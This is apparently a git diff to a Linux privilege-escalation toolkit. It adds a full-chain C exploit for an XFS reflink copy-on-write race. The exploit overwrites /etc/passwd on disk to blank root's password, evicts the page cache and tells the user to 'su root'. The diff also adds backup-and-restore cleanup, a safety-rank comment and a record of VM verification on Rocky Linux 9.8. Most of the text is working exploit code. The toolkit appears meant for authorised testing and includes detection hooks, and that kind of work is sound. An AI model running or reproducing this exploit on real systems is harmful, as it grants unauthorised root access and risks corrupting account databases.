|
||||||
|
* file byte-for-byte, so no account — least of all the invoking user or sshd —
|
||||||
|
* is ever dropped; a naive port that truncates the tail bricks login on the
|
||||||
|
* target. It backs the target up first and restores on any failure; cleanup()
|
||||||
|
* restores too (run as root after the pop).
|
||||||
|
*
|
||||||
|
* Exploitability constraint discovered during VM verification (see MODULE.md):
|
||||||
|
* the race only fires when the target's extent refcount is exactly the
|
||||||
|
* attacker-clone pair, i.e. the target's extent must be PRIVATE going in. A
|
||||||
|
* file that is ALREADY reflink-shared with a third file (some fresh cloud
|
||||||
|
* images ship /etc/passwd that way) keeps a post-CoW refcount > 1 and is NOT
|
||||||
|
* attackable via that target. detect()/here check and report this.
|
||||||
|
* ================================================================== */
|
||||||
|
#define RFX_FC_WRITERS 32 /* full PoC parameters — no under-driving on the opt-in path */
|
||||||
|
#define RFX_FC_HELPERS 8
|
||||||
|
#define RFX_FC_BUDGET_SECS 90 /* generous but bounded; a private-extent target falls in seconds-to-a-minute */
|
||||||
|
#define RFX_FC_RC_OK 110 /* target overwritten AND verified passwordless-root */
|
||||||
|
#define RFX_FC_RC_NOWIN 111 /* race not won in budget (target unchanged) */
|
||||||
|
#define RFX_FC_RC_SETUP 112 /* couldn't set up (no xfs scratch, FICLONE refused, craft failed) */
|
||||||
|
#define RFX_FC_RC_CORRUPT 113 /* target changed but not to our verified payload — restored from backup */
|
||||||
|
|
||||||
|
static skeletonkey_result_t refluxfs_exploit_safe(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
|
static const char *rfx_fc_target(void)
|
||||||
|
{
|
||||||
|
const char *t = getenv("SKELETONKEY_REFLUXFS_TARGET"); /* test override */
|
||||||
|
return (t && *t) ? t : "/etc/passwd";
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Read up to `cap` bytes of `path`. Returns byte count, or -1. */
|
||||||
|
static ssize_t rfx_slurp(const char *path, unsigned char *buf, size_t cap)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_RDONLY);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
ssize_t n = pread(fd, buf, cap, 0);
|
||||||
|
close(fd);
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Read `path`'s first block straight off disk (O_DIRECT), zero-filled.
|
||||||
|
* Returns 0 and sets *got to the byte count, or -1. */
|
||||||
|
static int rfx_read_block_odirect(const char *path, unsigned char *out, size_t *got)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_RDONLY | O_DIRECT);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
void *buf = NULL;
|
||||||
|
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return -1; }
|
||||||
|
memset(buf, 0, RFX_BLK);
|
||||||
|
ssize_t n = pread(fd, buf, RFX_BLK, 0);
|
||||||
|
if (n > 0) memcpy(out, buf, RFX_BLK);
|
||||||
|
if (got) *got = n > 0 ? (size_t)n : 0;
|
||||||
|
free(buf);
|
||||||
|
close(fd);
|
||||||
|
return n > 0 ? 0 : -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Craft the payload block: copy `orig` (orig_len bytes, must be <= RFX_BLK,
|
||||||
|
* i.e. the root line lives in the first block) and empty the root line's
|
||||||
|
* password field (root:<pw>: -> root::). Pad with '\n' to exactly orig_len so
|
||||||
|
* the on-disk file size is unchanged, then fill the rest of the block with
|
||||||
|
* '\n'. Writes RFX_BLK bytes into `out`. Returns 0 on success.
|
||||||
|
*
|
||||||
|
* Refuses (returns -1) unless the result still contains the root line with an
|
||||||
|
* empty password AND the invoking user's line — we NEVER emit a passwd that
|
||||||
|
* would lock the caller out. */
|
||||||
|
static int rfx_craft_stripped_root(const unsigned char *orig, size_t orig_len,
|
||||||
|
const char *myuser, unsigned char *out)
|
||||||
|
{
|
||||||
|
if (orig_len == 0 || orig_len > RFX_BLK) return -1;
|
||||||
|
|
||||||
|
char tmp[RFX_BLK + 1];
|
||||||
|
memcpy(tmp, orig, orig_len);
|
||||||
|
tmp[orig_len] = '\0';
|
||||||
|
if (strlen(tmp) != orig_len) return -1; /* embedded NUL — not a passwd file */
|
||||||
|
|
||||||
|
char *rl = (strncmp(tmp, "root:", 5) == 0) ? tmp : NULL;
|
||||||
|
if (!rl) { char *p = strstr(tmp, "\nroot:"); if (p) rl = p + 1; }
|
||||||
|
if (!rl) return -1;
|
||||||
|
|
||||||
|
char *c1 = strchr(rl, ':'); /* end of "root" */
|
||||||
|
if (!c1) return -1;
|
||||||
|
char *c2 = strchr(c1 + 1, ':'); /* end of password field */
|
||||||
|
if (!c2) return -1;
|
||||||
|
|
||||||
|
/* Shift the tail left, deleting the password field's bytes. */
|
||||||
|
memmove(c1 + 1, c2, strlen(c2) + 1);
|
||||||
|
if (c1[1] != ':') return -1; /* field must now be empty */
|
||||||
|
size_t newlen = strlen(tmp);
|
||||||
|
|
||||||
|
/* The invoking user's line must survive. */
|
||||||
|
if (myuser && *myuser) {
|
||||||
|
char needle[96];
|
||||||
|
int n = snprintf(needle, sizeof needle, "%s:", myuser);
|
||||||
|
if (n <= 0 || (size_t)n >= sizeof needle) return -1;
|
||||||
|
int present = (strncmp(tmp, needle, (size_t)n) == 0);
|
||||||
|
if (!present) {
|
||||||
|
char nl[98];
|
||||||
|
snprintf(nl, sizeof nl, "\n%s", needle);
|
||||||
|
present = strstr(tmp, nl) != NULL;
|
||||||
|
}
|
||||||
|
if (!present) return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(out, tmp, newlen);
|
||||||
|
for (size_t i = newlen; i < orig_len; i++) out[i] = '\n'; /* keep file size */
|
||||||
|
for (size_t i = orig_len; i < RFX_BLK; i++) out[i] = '\n'; /* pad the block */
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct rfx_fc_race {
|
||||||
|
char clone_path[PATH_MAX];
|
||||||
|
const unsigned char *payload; /* RFX_BLK bytes */
|
||||||
|
atomic_int gate;
|
||||||
|
atomic_int stop;
|
||||||
|
};
|
||||||
|
|
||||||
|
static void *rfx_fc_writer_fn(void *arg)
|
||||||
|
{
|
||||||
|
struct rfx_fc_race *r = arg;
|
||||||
|
int fd = open(r->clone_path, O_RDWR | O_DIRECT);
|
||||||
|
if (fd < 0) return NULL;
|
||||||
|
void *buf = NULL;
|
||||||
|
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return NULL; }
|
||||||
|
memcpy(buf, r->payload, RFX_BLK);
|
||||||
|
while (!atomic_load_explicit(&r->gate, memory_order_acquire)) sched_yield();
|
||||||
|
(void)pwrite(fd, buf, RFX_BLK, 0);
|
||||||
|
free(buf);
|
||||||
|
close(fd);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *rfx_fc_helper_fn(void *arg)
|
||||||
|
{
|
||||||
|
struct rfx_fc_race *r = arg;
|
||||||
|
int fd = open(r->clone_path, O_RDWR);
|
||||||
|
if (fd < 0) return NULL;
|
||||||
|
while (!atomic_load_explicit(&r->gate, memory_order_acquire)) sched_yield();
|
||||||
|
while (!atomic_load_explicit(&r->stop, memory_order_acquire)) {
|
||||||
|
(void)ftruncate(fd, (off_t)RFX_BLK * 2); (void)fdatasync(fd);
|
||||||
|
(void)ftruncate(fd, (off_t)RFX_BLK); (void)fdatasync(fd);
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* One full-chain round: reflink-clone `target` into `clone`, race writers that
|
||||||
|
* push `payload` at the clone while helpers churn, then check whether the
|
||||||
|
* target's first `cmplen` on-disk bytes changed. Returns 1 (changed), 0
|
||||||
|
* (intact), -1 (setup error). */
|
||||||
|
static int rfx_fc_round(const char *target, const char *clone,
|
||||||
|
const unsigned char *payload,
|
||||||
|
const unsigned char *orig_fb, size_t cmplen)
|
||||||
|
{
|
||||||
|
int sfd = open(target, O_RDONLY);
|
||||||
|
if (sfd < 0) return -1;
|
||||||
|
unlink(clone);
|
||||||
|
int cfd = open(clone, O_RDWR | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (cfd < 0) { close(sfd); return -1; }
|
||||||
|
int cl = ioctl(cfd, RFX_FICLONE, sfd);
|
||||||
|
close(cfd); close(sfd);
|
||||||
|
if (cl != 0) return -1;
|
||||||
|
|
||||||
|
struct rfx_fc_race r;
|
||||||
|
memset(&r, 0, sizeof r);
|
||||||
|
snprintf(r.clone_path, sizeof r.clone_path, "%s", clone);
|
||||||
|
r.payload = payload;
|
||||||
|
|
||||||
|
pthread_t w[RFX_FC_WRITERS], h[RFX_FC_HELPERS];
|
||||||
|
int nw = 0, nh = 0;
|
||||||
|
for (int i = 0; i < RFX_FC_WRITERS; i++)
|
||||||
|
if (pthread_create(&w[nw], NULL, rfx_fc_writer_fn, &r) == 0) nw++;
|
||||||
|
for (int i = 0; i < RFX_FC_HELPERS; i++)
|
||||||
|
if (pthread_create(&h[nh], NULL, rfx_fc_helper_fn, &r) == 0) nh++;
|
||||||
|
if (nw == 0) {
|
||||||
|
atomic_store_explicit(&r.stop, 1, memory_order_release);
|
||||||
|
atomic_store_explicit(&r.gate, 1, memory_order_release);
|
||||||
|
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
usleep(1500);
|
||||||
|
atomic_store_explicit(&r.gate, 1, memory_order_release);
|
||||||
|
for (int i = 0; i < nw; i++) pthread_join(w[i], NULL);
|
||||||
|
atomic_store_explicit(&r.stop, 1, memory_order_release);
|
||||||
|
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
|
||||||
|
|
||||||
|
unsigned char now[RFX_BLK];
|
||||||
|
size_t got = 0;
|
||||||
|
if (rfx_read_block_odirect(target, now, &got) != 0) return -1;
|
||||||
|
size_t n = cmplen < got ? cmplen : got;
|
||||||
|
return memcmp(now, orig_fb, n) != 0 ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Byte-copy src -> dst (0600). Returns 0 on success. */
|
||||||
|
static int rfx_copy_file(const char *src, const char *dst)
|
||||||
|
{
|
||||||
|
unsigned char buf[RFX_BLK];
|
||||||
|
int in = open(src, O_RDONLY);
|
||||||
|
if (in < 0) return -1;
|
||||||
|
int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (out < 0) { close(in); return -1; }
|
||||||
|
ssize_t n;
|
||||||
|
int rc = 0;
|
||||||
|
while ((n = read(in, buf, sizeof buf)) > 0) {
|
||||||
|
if (write(out, buf, (size_t)n) != n) { rc = -1; break; }
|
||||||
|
}
|
||||||
|
if (n < 0) rc = -1;
|
||||||
|
(void)fsync(out);
|
||||||
|
close(in); close(out);
|
||||||
|
return rc;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void rfx_fc_backup_path(const char *dir, char *out, size_t cap)
|
||||||
|
{
|
||||||
|
snprintf(out, cap, "%s/" RFX_SCRATCH_PREFIX "passwd.bak", dir);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Evict `target`'s cached pages so subsequent BUFFERED readers (getpwnam in
|
||||||
|
* `su`/`login`, `cat`, ...) see the freshly-overwritten on-disk bytes rather
|
||||||
|
* than the stale page cache. The RefluXFS write lands on the shared physical
|
||||||
|
* block WITHOUT going through the target inode, so its clean cached pages are
|
||||||
|
* never invalidated by the kernel — without this eviction a `su` immediately
|
||||||
|
* after the pop would read the OLD passwd and fail. POSIX_FADV_DONTNEED needs
|
||||||
|
* only an O_RDONLY fd, which an unprivileged attacker has. */
|
||||||
|
static void rfx_evict_cache(const char *target)
|
||||||
|
{
|
||||||
|
int fd = open(target, O_RDONLY);
|
||||||
|
if (fd < 0) return;
|
||||||
|
(void)posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Does the target's root line have an empty password field on DISK right now?
|
||||||
|
* Reads via O_DIRECT: a buffered read would be served from the stale page cache
|
||||||
|
* (the overwrite bypasses the inode), so it must not be used to verify a win. */
|
||||||
|
static int rfx_target_root_passwordless(const char *target)
|
||||||
|
{
|
||||||
|
unsigned char b[RFX_BLK]; size_t got = 0;
|
||||||
|
if (rfx_read_block_odirect(target, b, &got) != 0 || got == 0) return 0;
|
||||||
|
size_t n = got < RFX_BLK ? got : RFX_BLK - 1;
|
||||||
|
b[n] = '\0';
|
||||||
|
char *rl = (strncmp((char *)b, "root:", 5) == 0) ? (char *)b : NULL;
|
||||||
|
if (!rl) { char *p = strstr((char *)b, "\nroot:"); if (p) rl = p + 1; }
|
||||||
|
if (!rl) return 0;
|
||||||
|
return strncmp(rl, "root::", 6) == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t refluxfs_exploit_fullchain(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const char *target = rfx_fc_target();
|
||||||
|
|
||||||
|
struct stat tst;
|
||||||
|
if (stat(target, &tst) != 0) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: full-chain target %s not found\n", target);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (tst.st_uid != 0 && !getenv("SKELETONKEY_REFLUXFS_TARGET")) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: %s is not root-owned (uid=%u) — "
|
||||||
|
"overwriting it would not yield root; refusing\n",
|
||||||
|
target, (unsigned)tst.st_uid);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if ((size_t)tst.st_size == 0 || (size_t)tst.st_size > RFX_BLK) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: %s is %lld bytes; this full-chain writes "
|
||||||
|
"only the first %u-byte block (the root line lives there) "
|
||||||
|
"— larger targets are not supported\n",
|
||||||
|
target, (long long)tst.st_size, RFX_BLK);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char dir[RFX_DIR_MAX];
|
||||||
|
bool assumed = false;
|
||||||
|
if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: no writable XFS scratch dir for the clone\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Craft the payload up front so we bail BEFORE touching anything if we
|
||||||
|
* cannot safely produce a passwd that keeps the caller (and root) intact. */
|
||||||
|
unsigned char orig[RFX_BLK];
|
||||||
|
ssize_t orig_len = rfx_slurp(target, orig, RFX_BLK);
|
||||||
|
if (orig_len <= 0) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: cannot read %s\n", target);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
struct passwd *pw = getpwuid(getuid());
|
||||||
|
const char *myuser = pw ? pw->pw_name : NULL;
|
||||||
|
unsigned char payload[RFX_BLK];
|
||||||
|
if (rfx_craft_stripped_root(orig, (size_t)orig_len, myuser, payload) != 0) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: refusing to run — could not craft a "
|
||||||
|
"%s payload that keeps root and '%s' intact (unexpected "
|
||||||
|
"format?). Nothing was touched.\n",
|
||||||
|
target, myuser ? myuser : "?");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] refluxfs: --full-chain — DESTRUCTIVE. This rewrites "
|
||||||
|
"%s on disk (stripping root's password) via the reflink "
|
||||||
|
"CoW race. It preserves every other line, backs the file "
|
||||||
|
"up first, and restores on failure, but a persistent "
|
||||||
|
"on-disk overwrite of a system file is inherently risky. "
|
||||||
|
"Run only where you are authorised to.\n", target);
|
||||||
|
if (rfx_extent_is_shared(target) == 1)
|
||||||
|
fprintf(stderr, "[!] refluxfs: %s's extent is ALREADY reflink-shared "
|
||||||
|
"— its post-CoW refcount stays > 1, so this target is "
|
||||||
|
"likely NOT attackable (the race needs a private "
|
||||||
|
"extent). Proceeding but expect no win; see MODULE.md."
|
||||||
|
"\n", target);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Back the target up so cleanup()/failure can restore it. */
|
||||||
|
char backup[RFX_DIR_MAX + 64];
|
||||||
|
rfx_fc_backup_path(dir, backup, sizeof backup);
|
||||||
|
if (rfx_copy_file(target, backup) != 0) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: could not back up %s to %s — refusing to "
|
||||||
|
"proceed without a restore path\n", target, backup);
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] refluxfs: backed up %s -> %s. Race: %d writers / %d "
|
||||||
|
"helpers / %ds budget against a clone of %s.\n",
|
||||||
|
target, backup, RFX_FC_WRITERS, RFX_FC_HELPERS,
|
||||||
|
RFX_FC_BUDGET_SECS, target);
|
||||||
|
|
||||||
|
unsigned char orig_fb[RFX_BLK];
|
||||||
|
size_t fbgot = 0;
|
||||||
|
if (rfx_read_block_odirect(target, orig_fb, &fbgot) != 0) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: cannot O_DIRECT-read %s\n", target);
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
size_t cmplen = (size_t)orig_len;
|
||||||
|
|
||||||
|
char scratch[RFX_SCRATCH_MAX];
|
||||||
|
snprintf(scratch, sizeof scratch, "%s/" RFX_SCRATCH_PREFIX "fc.XXXXXX", dir);
|
||||||
|
if (!mkdtemp(scratch)) {
|
||||||
|
fprintf(stderr, "[-] refluxfs: mkdtemp failed\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
char clone[PATH_MAX];
|
||||||
|
snprintf(clone, sizeof clone, "%s/clone", scratch);
|
||||||
|
|
||||||
|
long rounds = 0;
|
||||||
|
int won = 0;
|
||||||
|
time_t deadline = time(NULL) + RFX_FC_BUDGET_SECS;
|
||||||
|
while (time(NULL) < deadline && !won) {
|
||||||
|
int d = rfx_fc_round(target, clone, payload, orig_fb, cmplen);
|
||||||
|
if (d < 0) break;
|
||||||
|
rounds++;
|
||||||
|
if (d == 1) won = 1;
|
||||||
|
if (!ctx->json && (rounds % 500) == 0)
|
||||||
|
fprintf(stderr, "[*] refluxfs: ... %ld rounds\n", rounds);
|
||||||
|
}
|
||||||
|
unlink(clone);
|
||||||
|
rfx_remove_scratch(scratch);
|
||||||
|
|
||||||
|
if (!won) {
|
||||||
|
/* Target should be untouched. If it is, drop the now-redundant backup;
|
||||||
|
* if it somehow changed, restore from it and keep nothing stale. */
|
||||||
|
unsigned char now[RFX_BLK]; size_t g = 0;
|
||||||
|
int changed = (rfx_read_block_odirect(target, now, &g) == 0 &&
|
||||||
|
memcmp(now, orig_fb, cmplen) != 0);
|
||||||
|
if (changed) (void)rfx_copy_file(backup, target); /* best-effort restore */
|
||||||
|
unlink(backup);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[-] refluxfs: full-chain did not win in %ld rounds / "
|
||||||
|
"%ds — %s %s. If its extent was pre-shared this target "
|
||||||
|
"is not attackable; otherwise retry.\n",
|
||||||
|
rounds, RFX_FC_BUDGET_SECS, target,
|
||||||
|
changed ? "was restored from backup" : "unchanged");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Won. Evict the target's stale page cache so both our verify below AND a
|
||||||
|
* subsequent `su` read the freshly-overwritten on-disk bytes, not the old
|
||||||
|
* cached copy. */
|
||||||
|
rfx_evict_cache(target);
|
||||||
|
|
||||||
|
/* Verify the target now really has a passwordless root line rather than
|
||||||
|
* some torn/garbled block — if it's corrupt, restore from backup and fail. */
|
||||||
|
if (!rfx_target_root_passwordless(target)) {
|
||||||
|
(void)rfx_copy_file(backup, target);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] refluxfs: race changed %s but it did not land a "
|
||||||
|
"clean passwordless-root line (torn write) — RESTORED "
|
||||||
|
"from backup. Re-run to try again.\n", target);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] refluxfs: ROOT-POP CONFIRMED after %ld rounds — %s "
|
||||||
|
"now carries a passwordless root line, written through the "
|
||||||
|
"reflink CoW race as uid=%u. Every other account was "
|
||||||
|
"preserved.\n", rounds, target, (unsigned)getuid());
|
||||||
|
fprintf(stderr, "[+] refluxfs: become root with: su root (empty "
|
||||||
|
"password — just press Enter)\n");
|
||||||
|
fprintf(stderr, "[i] refluxfs: RESTORE when done — as root run "
|
||||||
|
"`skeletonkey --cleanup refluxfs` (or `cp %s %s`). The "
|
||||||
|
"overwrite is persistent and survives reboot.\n",
|
||||||
|
backup, target);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Dispatcher: --full-chain engages the destructive /etc/passwd root pop;
|
||||||
|
* otherwise the safe, own-files reachability trigger. */
|
||||||
static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
skeletonkey_result_t pre = refluxfs_detect(ctx);
|
skeletonkey_result_t pre = refluxfs_detect(ctx);
|
||||||
@@ -702,6 +1162,18 @@ static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (ctx->full_chain)
|
||||||
|
return refluxfs_exploit_fullchain(ctx);
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] refluxfs: safe reachability trigger (own files "
|
||||||
|
"only). Pass --full-chain to engage the real %s "
|
||||||
|
"overwrite -> su -> root pop.\n", rfx_fc_target());
|
||||||
|
return refluxfs_exploit_safe(ctx);
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t refluxfs_exploit_safe(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[*] refluxfs: reconstructed reachability probe — builds "
|
fprintf(stderr, "[*] refluxfs: reconstructed reachability probe — builds "
|
||||||
"a reflinked pair of files WE OWN in a private scratch "
|
"a reflinked pair of files WE OWN in a private scratch "
|
||||||
@@ -879,6 +1351,27 @@ static skeletonkey_result_t refluxfs_cleanup(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* First: if a full-chain run backed up the overwrite target, restore it.
|
||||||
|
* The overwrite is persistent on disk, so this is the important half of
|
||||||
|
* cleanup. Restoring /etc/passwd needs write permission — run this as root
|
||||||
|
* after the pop (`su root`, then `skeletonkey --cleanup refluxfs`). */
|
||||||
|
char backup[RFX_DIR_MAX + 64];
|
||||||
|
rfx_fc_backup_path(dir, backup, sizeof backup);
|
||||||
|
struct stat bst;
|
||||||
|
if (stat(backup, &bst) == 0) {
|
||||||
|
const char *target = rfx_fc_target();
|
||||||
|
if (rfx_copy_file(backup, target) == 0) {
|
||||||
|
unlink(backup);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] refluxfs: restored %s from backup %s and "
|
||||||
|
"removed the backup\n", target, backup);
|
||||||
|
} else if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] refluxfs: found a backup at %s but could not "
|
||||||
|
"write %s (need root?). Restore manually: "
|
||||||
|
"cp %s %s\n", backup, target, backup, target);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
DIR *d = opendir(dir);
|
DIR *d = opendir(dir);
|
||||||
if (!d) return SKELETONKEY_OK;
|
if (!d) return SKELETONKEY_OK;
|
||||||
|
|
||||||
@@ -1060,7 +1553,7 @@ const struct skeletonkey_module refluxfs_module = {
|
|||||||
.detect = refluxfs_detect,
|
.detect = refluxfs_detect,
|
||||||
.exploit = refluxfs_exploit,
|
.exploit = refluxfs_exploit,
|
||||||
.mitigate = NULL, /* no runtime mitigation exists: reflink is a superblock feature that cannot be disabled on a live filesystem, O_DIRECT cannot be turned off, and SELinux/seccomp/KASLR/SMEP/SMAP are all irrelevant to a data-oriented bug. Patch the kernel and reboot. */
|
.mitigate = NULL, /* no runtime mitigation exists: reflink is a superblock feature that cannot be disabled on a live filesystem, O_DIRECT cannot be turned off, and SELinux/seccomp/KASLR/SMEP/SMAP are all irrelevant to a data-oriented bug. Patch the kernel and reboot. */
|
||||||
.cleanup = refluxfs_cleanup,
|
.cleanup = refluxfs_cleanup, /* restores /etc/passwd from the full-chain backup (run as root after the pop), then sweeps leftover scratch dirs */
|
||||||
.detect_auditd = refluxfs_auditd,
|
.detect_auditd = refluxfs_auditd,
|
||||||
.detect_sigma = refluxfs_sigma,
|
.detect_sigma = refluxfs_sigma,
|
||||||
.detect_yara = refluxfs_yara,
|
.detect_yara = refluxfs_yara,
|
||||||
|
|||||||
+1
-1
@@ -1018,7 +1018,7 @@ static int module_safety_rank(const char *n)
|
|||||||
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||||
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
||||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||||
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — a won race rewrites 4 KiB of our own scratch file and cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), but the trigger is reconstructed and not VM-verified */
|
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), so it never downs the box. VM-verified full root pop, but gated behind --full-chain because that path persistently rewrites /etc/passwd (backed up + restorable); plain --auto runs only the safe own-files trigger */
|
||||||
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
|
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
|
||||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||||
|
|||||||
@@ -341,7 +341,7 @@ refluxfs:
|
|||||||
kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version
|
kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version
|
||||||
kernel_version: "5.14.0"
|
kernel_version: "5.14.0"
|
||||||
expect_detect: VULNERABLE
|
expect_detect: VULNERABLE
|
||||||
verified: "2026-07-23 — CONFIRMED on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
|
